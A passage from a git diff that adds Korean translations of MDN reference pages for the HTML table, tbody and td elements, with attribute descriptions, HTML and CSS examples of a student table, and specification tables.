+<p>이상적으로 보자면, 테이블의 콘텐츠를 나타내는 다른 방법을 생각하는 것이 좋습니다. 이를테면 서로 관련된 더 작은 표로 나눠서 <code>colspan</code>, <code>rowspan</code> 특성의 필요를 제거하는 것입니다. 보조 기술 사용자의 테이블 콘텐츠 이해에 도움을 줄 뿐 아니라, 인지력 문제를 겪고 있어 기존 표의 레이아웃을 이해하는 것이 곤란한 사용자의 경험도 개선할 수 있습니다.</p>
+
+<p>표를 나눌 수 없는 경우 {{htmlattrxref("id")}}와 {{htmlattrxref("headers", "td")}} 특성을 통해 표의 각 칸을 연관된 헤더 칸과 직접 연결하세요.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Advanced#Tables_for_visually_impaired_users">MDN Tables for visually impaired users</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/multi-level/">Tables with multi-level headers • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H43.html">H43: Using id and headers attributes to associate data cells with header cells in data tables | Techniques for W3C WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','tables.html#the-table-element','table element')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','tabular-data.html#the-table-element','table element')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.table")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;table&gt;</code> 요소 스타일링에 특히 도움이 되는 CSS 속성
+
+ <ul>
+ <li>표의 너비를 조절하는 {{cssxref("width")}}.</li>
+ <li>표의 테두리를 설정하는 {{cssxref("border")}}, {{cssxref("border-style")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}}, {{cssxref("border-collapse")}}, {{cssxref("border-spacing")}}.</li>
+ <li>각 칸의 콘텐츠를 꾸밀 때 사용할 수 있는 {{cssxref("margin")}}, {{cssxref("padding")}}.</li>
+ <li>각 칸의 텍스트와 콘텐츠를 정렬할 때 사용하는 {{cssxref("text-align")}}, {{cssxref("vertical-align")}}.</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/tbody/index.html b/files/ko/web/html/element/tbody/index.html
new file mode 100644
index 0000000000..e7d89d1488
--- /dev/null
+++ b/files/ko/web/html/element/tbody/index.html
@@ -0,0 +1,320 @@
+---
+title: '<tbody>: 표 본문 요소'
+slug: Web/HTML/Element/tbody
+tags:
+ - Element
+ - HTML
+ - HTML tabular data
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/tbody
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML </strong><strong><code>&lt;tbody&gt;</code></strong> 요소는 표의 여러 행({{htmlelement("tr")}})을 묶어서 표 본문을 구성합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/tbody.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p><code>&lt;tbody&gt;</code> 요소와 그 사촌인 {{HTMLElement("thead")}}, {{HTMLElement("tfoot")}} 요소는 화면과 프린터에 렌더링 할 때 뿐만 아니라 {{Glossary("accessibility", "접근성")}} 차원에서도 유용한 의미를 표의 행에 부여합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>0개 이상의 {{htmlelement("tr")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td><code>&lt;tbody&gt;</code> 요소는 부모 {{HTMLElement("table")}} 요소의 렌더링에 반드시 필요한 요소는 아닙니다. 그러나 <code>&lt;table&gt;</code> 요소의 자식 중 {{ HTMLElement("tr") }} 요소가 존재하면 사용할 수 없습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{ HTMLElement("table") }} 요소. {{ HTMLElement("caption") }}, {{HTMLElement("colgroup") }}, {{ HTMLElement("thead") }} 요소가 존재하는 경우, 그 뒤에 위치할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLTableSectionElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{ htmlattrdef("align") }} {{deprecated_inline}}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:
+ <ul>
+ <li><code>left</code>, aligning the content to the left of the cell</li>
+ <li><code>center</code>, centering the content in the cell</li>
+ <li><code>right</code>, aligning the content to the right of the cell</li>
+ <li><code>justify</code>, inserting spaces into the textual content so that the content is justified in the cell</li>
+ <li><code>char</code>, aligning the textual content on a special character with a minimal offset, defined by the {{ htmlattrxref("char", "tbody") }} and {{ htmlattrxref("charoff", "tbody") }} attributes.</li>
+ </ul>
+
+ <p>If this attribute is not set, the <code>left</code> value is assumed.</p>
+
+ <p>As this attribute is deprecated, use the CSS {{cssxref("text-align")}} property instead.</p>
+
+ <div class="note"><strong>Note: </strong>The equivalent <code>text-align</code> property for the <code>align="char"</code> is not implemented in any browsers yet. See the <a href="/en-US/docs/Web/CSS/text-align#Browser_compatibility"><code>text-align</code>'s browser compatibility section</a> for the <code>&lt;string&gt;</code> value.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>The background color of the table. It is a <a href="/en-US/docs/Web/CSS/color_value#RGB_colors">6-digit hexadecimal RGB code</a>, prefixed by a '<code>#</code>'. One of the predefined <a href="/en-US/docs/Web/CSS/color_value#Color_keywords">color kewords</a> can also be used.</p>
+
+ <p>As this attribute is deprecated, use the CSS {{cssxref("background-color")}} property instead.</p>
+ </dd>
+ <dt>{{ htmlattrdef("char") }} {{deprecated_inline}}</dt>
+ <dd>
+ <p>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (<code>.</code>) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "tbody")}} is not set to <code>char</code>, this attribute is ignored.</p>
+ </dd>
+ <dt>{{ htmlattrdef("charoff") }} {{deprecated_inline}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <code>char</code> attribute.</dd>
+ <dt>{{ htmlattrdef("valign") }} {{deprecated_inline}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:
+ <ul>
+ <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <code>bottom</code>.</li>
+ <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible;</li>
+ <li><code>middle</code>, which will center the text in the cell;</li>
+ <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <p>As this attribute is deprecated, use the CSS {{cssxref("vertical-align")}} property instead.</p>
+ </dd>
+</dl>
+</div>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>표의 헤더 행을 나타내기 위해 {{HTMLElement("thead")}} 요소를 사용한 경우, <code>&lt;tbody&gt;</code> 요소는 반드시 그 뒤에 위치해야 합니다.</li>
+ <li><code>&lt;tbody&gt;</code>를 사용할 경우, {{HTMLElement("table")}}의 바로 밑 자식이면서 <code>&lt;tbody&gt;</code>에 속하지 않는 {{htmlelement("tr")}} 요소는 사용할 수 없습니다. 모든 비 헤더, 비 푸터 행은 반드시 <code>&lt;tbody&gt;</code>의 자식으로 존재해야 합니다.</li>
+ <li>문서 출력 시, <code>&lt;thead&gt;</code>와 {{htmlelement("tfoor")}} 요소는 모든 페이지에서 같거나 거의 같은 정보를 나타내고, <code>&lt;tbody&gt;</code> 요소는 서로 다른 정보를 나타냅니다.</li>
+ <li>표를 화면 맥락(브라우저 창 등)에서 표시할 때, 화면이 표 전체를 보여주기에 충분히 크지 않은 경우 {{Glossary("user agent", "사용자 에이전트")}}는 같은 부모의 <code>&lt;thead&gt;</code>, <code>&lt;tbody&gt;</code>, <code>&lt;tfoot&gt;</code>, {{HTMLElement("caption")}} 요소를 서로 따로 스크롤 가능토록 설정할 수 있습니다.</li>
+ <li>하나의 표에 다수의 <code>&lt;tbody&gt;</code>를 연속적으로 사용할 수 있으며, 이를 통해 커다란 표의 행을 구획으로 나눌 수 있습니다. 필요한 경우 각 구획에 서로 다른 서식을 적용할 수도 있습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음은 <code>&lt;tbody&gt;</code> 요소 사용법을 보이는 예제입니다. 더 많은 예제는 {{ HTMLElement("table", "", "#예제") }}에서도 볼 수 있습니다.</p>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>이번 예제는 {{HTMLElement("thead")}}와 {{HTMLElement("tbody")}}를 사용해 학생 그룹의 정보를 나열하는 표를 생성합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<p>표의 HTML은 다음과 같습니다. 학생의 정보를 나타내는 표 본문 칸이 모두 하나의 <code>&lt;tbody&gt;</code> 요소에 속함에 주의하세요.</p>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Student ID&lt;/th&gt;
+ &lt;th&gt;Name&lt;/th&gt;
+ &lt;th&gt;Major&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;3741255&lt;/td&gt;
+ &lt;td&gt;Jones, Martha&lt;/td&gt;
+ &lt;td&gt;Computer Science&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;3971244&lt;/td&gt;
+ &lt;td&gt;Nim, Victor&lt;/td&gt;
+ &lt;td&gt;Russian Literature&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;4100332&lt;/td&gt;
+ &lt;td&gt;Petrov, Alexandra&lt;/td&gt;
+ &lt;td&gt;Astrophysics&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>다음은 표에 적용할 CSS 스타일입니다.</p>
+
+<pre class="brush: css">table {
+ border: 2px solid #555;
+ border-collapse: collapse;
+ font: 16px "Lucida Grande", "Helvetica", "Arial", sans-serif;
+}</pre>
+
+<p>우선 표의 전반적인 스타일을 설정합니다.외부 테두리의 굵기, 스타일, 색을 설정하고, {{cssxref("border-collapse")}}를 이용해 각 칸의 테두리가 서로 분리되지 않고 공유하도록 지정합니다. {{cssxref("font")}}를 사용해 표의 기본 글씨체도 설정합니다.</p>
+
+<pre class="brush: css">th, td {
+ border: 1px solid #bbb;
+ padding: 2px 8px 0;
+ text-align: left;
+}</pre>
+
+<p>그 다음은 대부분의 칸에 적용할 스타일입니다. 1픽셀 두께의 밝은 회색 테두리를 추가하고 안쪽 여백을 조정하며, {{cssxref("text-align")}}을 사용해 모두 좌측 정렬로 설정합니다.</p>
+
+<pre class="brush: css">thead &gt; tr &gt; th {
+ background-color: #cce;
+ font-size: 18px;
+ border-bottom: 2px solid #999;
+}</pre>
+
+<p>마지막으로 {{HTMLElement("thead")}} 안에 위치하는 헤더 칸에 추가 스타일을 부여합니다. 보다 어두운 {{cssxref("background-color")}}, 더 큰 글씨 크기, 그리고 다른 테두리보다 두껍고 어두운 아래쪽 테두리를 적용합니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("기본_예제", 650, 150)}}</p>
+
+<h3 id="다중_본문">다중 본문</h3>
+
+<p>You can create multiple sections within a table by using multiple <code>&lt;tbody&gt;</code> elements. Each may potentially have its own header row or rows; however, <em>there can be only one {{HTMLElement("thead")}} per table!</em> Because of that, you need to use a {{HTMLElement("tr")}} filled with {{HTMLElement("th")}} elements to create headers within each <code>&lt;tbody&gt;</code>. Let's see how that's done.</p>
+
+<p>Let's take the previous example, add some more students to the list, and update the table so that instead of listing each student's major on every row, the students are grouped by major, with heading rows for each major.</p>
+
+<h4 id="Result">Result</h4>
+
+<p>First, the resulting table, so you know what we're building:</p>
+
+<p>{{EmbedLiveSample("다중_본문", 650, 250)}}</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>The revised HTML looks like this:</p>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Student ID&lt;/th&gt;
+ &lt;th&gt;Name&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;th colspan="2"&gt;Computer Science&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;3741255&lt;/td&gt;
+ &lt;td&gt;Jones, Martha&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;4077830&lt;/td&gt;
+ &lt;td&gt;Pierce, Benjamin&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;5151701&lt;/td&gt;
+ &lt;td&gt;Kirk, James&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;th colspan="2"&gt;Russian Literature&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;3971244&lt;/td&gt;
+ &lt;td&gt;Nim, Victor&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;th colspan="2"&gt;Astrophysics&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;4100332&lt;/td&gt;
+ &lt;td&gt;Petrov, Alexandra&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;8892377&lt;/td&gt;
+ &lt;td&gt;Toyota, Hiroko&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<p>Notice that each major is placed in a separate <code>&lt;tbody&gt;</code> block, the first row of which contains a single {{HTMLElement("th")}} element with a {{htmlattrxref("colspan", "th")}} attribute that spans the entire width of the table. That heading lists the name of the major contained within the <code>&lt;tbody&gt;</code>.</p>
+
+<p>Then each remaining row in each major's <code>&lt;tbody&gt;</code> consists of two cells: the first for the student's ID and the second for their name.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">table {
+ border: 2px solid #555;
+ border-collapse: collapse;
+ font: 16px "Lucida Grande", "Helvetica", "Arial", sans-serif;
+}
+
+th, td {
+ border: 1px solid #bbb;
+ padding: 2px 8px 0;
+ text-align: left;
+}
+
+thead &gt; tr &gt; th {
+ background-color: #cce;
+ font-size: 18px;
+ border-bottom: 2px solid #999;
+}</pre>
+</div>
+
+<p>Most of the CSS is unchanged. We do, however, add a slightly more subtle style for header cells contained directly within a <code>&lt;tbody&gt;</code> (as opposed to those which reside in a {{HTMLElement("thead")}}). This is used for the headers indicating each table section's corresponding major.</p>
+
+<pre class="brush: css">tbody &gt; tr &gt; th {
+ background-color: #dde;
+ border-bottom: 1.5px solid #bbb;
+ font-weight: normal;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','tables.html#the-tbody-element','tbody element')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','tabular-data.html#the-tbody-element','tbody element')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.tbody")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS properties and <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-classes</a> that may be specially useful to style the <code>&lt;tbody&gt;</code> element:
+
+ <ul>
+ <li>the {{ cssxref(":nth-child") }} pseudo-class to set the alignment on the cells of the column;</li>
+ <li>the {{ cssxref("text-align") }} property to align all cells content on the same character, like '.'.</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/td/index.html b/files/ko/web/html/element/td/index.html
new file mode 100644
index 0000000000..1f6c363834
--- /dev/null
+++ b/files/ko/web/html/element/td/index.html
@@ -0,0 +1,213 @@
+---
+title: <td>
+slug: Web/HTML/Element/td
+tags:
+ - Element
+ - HTML
+ - Reference
+translation_of: Web/HTML/Element/td
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><em>Table cell</em> <a href="/en-US/docs/Web/HTML">HTML</a> 요소 (<strong><code>&lt;td&gt;</code></strong>) 는 데이터를 포함하는 표의 셀을 정의합니다. 이것은 <em>표 모델</em>에 참여합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/td.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th><a href="/en-US/docs/Web/HTML/Content_categories">컨텐츠 범주</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th>허용된 컨텐츠</th>
+ <td>플로우 컨텐츠</td>
+ </tr>
+ <tr>
+ <th>태그 생략</th>
+ <td>시작 태그는 있어야 합니다.<br>
+ 종료 태그는 요소 바로 뒤에 {{HTMLElement("th")}}이나 {{HTMLElement("td")}} 요소가 뒤따르거나, 부모 요소에 더 이상 다른 데이터가 없을 경우 생략 가능합니다.</td>
+ </tr>
+ <tr>
+ <th>허용된 부모 요소</th>
+ <td>{{HTMLElement("tr")}} 요소</td>
+ </tr>
+ <tr>
+ <th>표준 문서</th>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-td-element" rel="external">HTML5, section 4.9.9</a> (<a href="http://www.w3.org/TR/REC-html40/struct/tables.html#h-11.2.6">HTML4.01, section 11.2.6</a>)</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p>이 요소는 <a href="/en-US/docs/Web/HTML/Global_attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("abbr")}} {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>This attribute contains a short abbreviated description of the content of the cell. Some user-agents, such as speech readers, may present this description before the content itself.
+ <div class="note"><strong>참고: </strong>이 속성은 최신 표준에서 폐기되었기 떄문에 사용해서는 안됩니다: instead either consider starting the cell content by an independent abbreviated content itself or use the abbreviated content as the cell content and use the long content as the description of the cell by putting it in the <strong>title</strong> attribute.</div>
+ </dd>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:
+ <ul>
+ <li><code>left</code>, aligning the content to the left of the cell</li>
+ <li><code>center</code>, centering the content in the cell</li>
+ <li><code>right</code>, aligning the content to the right of the cell</li>
+ <li><code>justify</code>, inserting spaces into the textual content so that the content is justified in the cell</li>
+ <li><code>char</code>, aligning the textual content on a special character with a minimal offset, defined by the {{htmlattrxref("char", "td")}} and {{htmlattrxref("charoff", "td")}} attributes {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>If this attribute is not set, the <code>left</code> value is assumed.</p>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (not supported) in the latest standard.
+
+ <ul>
+ <li>To achieve the same effect as the <code>left</code>, <code>center</code>, <code>right</code>, or <code>justify</code> values, use the CSS {{cssxref("text-align")}} property on it.</li>
+ <li>To achieve the same effect as the <code>char</code> value, in CSS3, you can use the value of the {{htmlattrxref("char", "td")}} as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("axis")}} {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This attribute contains a list of space-separated strings. Each string is the ID of a group of cells that this header applies to.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete in the latest standard: instead use the {{htmlattrxref("scope", "td")}} attribute.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>This attribute defines the background color of each cell of the column. It is one of the 6-digit hexadecimal codes as defined in <a href="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, prefixed by a '#'. One of the sixteen predefined color strings may be used:
+ <table style="width: 80%;">
+ <tbody>
+ <tr>
+ <td style="background-color: black; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>black</code> = "#000000"</td>
+ <td style="background-color: green; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>green</code> = "#008000"</td>
+ </tr>
+ <tr>
+ <td style="background-color: silver; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>silver</code> = "#C0C0C0"</td>
+ <td style="background-color: lime; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>lime</code> = "#00FF00"</td>
+ </tr>
+ <tr>
+ <td style="background-color: gray; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>gray</code> = "#808080"</td>
+ <td style="background-color: olive; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>olive</code> = "#808000"</td>
+ </tr>
+ <tr>
+ <td style="background-color: white; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>white</code> = "#FFFFFF"</td>
+ <td style="background-color: yellow; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>yellow</code> = "#FFFF00"</td>
+ </tr>
+ <tr>
+ <td style="background-color: maroon; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>maroon</code> = "#800000"</td>
+ <td style="background-color: navy; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>navy</code> = "#000080"</td>
+ </tr>
+ <tr>
+ <td style="background-color: red; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>red</code> = "#FF0000"</td>
+ <td style="background-color: blue; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>blue</code> = "#0000FF"</td>
+ </tr>
+ <tr>
+ <td style="background-color: purple; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>purple</code> = "#800080"</td>
+ <td style="background-color: teal; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>teal</code> = "#008080"</td>
+ </tr>
+ <tr>
+ <td style="background-color: fuchsia; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>fuchsia</code> = "#FF00FF"</td>
+ <td style="background-color: aqua; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>aqua</code> = "#00FFFF"</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note"><strong>Usage note:</strong> Do not use this attribute, as it is non-standard and only implemented in some versions of Microsoft Internet Explorer: the {{HTMLElement("td")}} element should be styled using <a href="/en-US/docs/CSS">CSS</a>. To give a similar effect to the <strong>bgcolor</strong> attribute, use the <a href="/en-US/docs/Web/CSS">CSS</a> property {{cssxref("background-color")}} instead.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "td")}} is not set to <code>char</code>, this attribute is ignored.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard. To achieve the same effect as the {{htmlattrxref("char", "thead")}}, in CSS3, you can use the character set using the {{htmlattrxref("char", "th")}} attribute as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <strong>char</strong> attribute.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard.</div>
+ </dd>
+ <dt>{{htmlattrdef("colspan")}}</dt>
+ <dd>This attribute contains a non-negative integer value that indicates for how many columns the cell extends. Its default value is <code>1</code>; if its value is set to <code>0</code>, it extends until the end of the {{HTMLElement("colgroup")}}, even if implicitly defined, that the cell belongs to. Values higher than 1000 will be considered as incorrect and will be set to the default value (1).
+ <div class="note"><strong>Note: </strong>In {{HTMLVersionInline(5)}} this attribute only accepts values greater than zero since it <a href="http://dev.w3.org/html5/spec/single-page.html#attr-tdth-colspan">must not be used to overlap cells</a>. Besides, Firefox is the only browser to support the 0 value as defined in the {{HTMLVersionInline(4.01)}} specification.</div>
+ </dd>
+ <dt>{{htmlattrdef("headers")}}</dt>
+ <dd>This attribute contains a list of space-separated strings, each corresponding to the <strong>id</strong> attribute of the {{HTMLElement("th")}} elements that apply to this element.</dd>
+ <dt>{{htmlattrdef("rowspan")}}</dt>
+ <dd>This attribute contains a non-negative integer value that indicates for how many rows the cell extends. Its default value is <code>1</code>; if its value is set to <code>0</code>, it extends until the end of the table section ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, even if implicitly defined, that the cell belongs to. Values higher than 65534 are clipped down to 65534.</dd>
+ <dt>{{htmlattrdef("scope")}} {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd> </dd>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:
+ <ul>
+ <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a href="http://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom of them. If characters are all of the same size, this has the same effect as <code>bottom</code>.</li>
+ <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible</li>
+ <li><code>middle</code>, which will center the text in the cell</li>
+ <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS {{cssxref("vertical-align")}} property on it.</div>
+ </dd>
+</dl>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 요소는 {{domxref("HTMLTableDataCellElement")}} 인터페이스를 구현합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>Please see the {{HTMLElement("table")}} page for examples on <code>&lt;td&gt;</code>.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','tables.html#the-td-element','td element')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','tabular-data.html#the-td-element','td element')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("html.elements.td")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 표 관련 요소들: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}.</li>
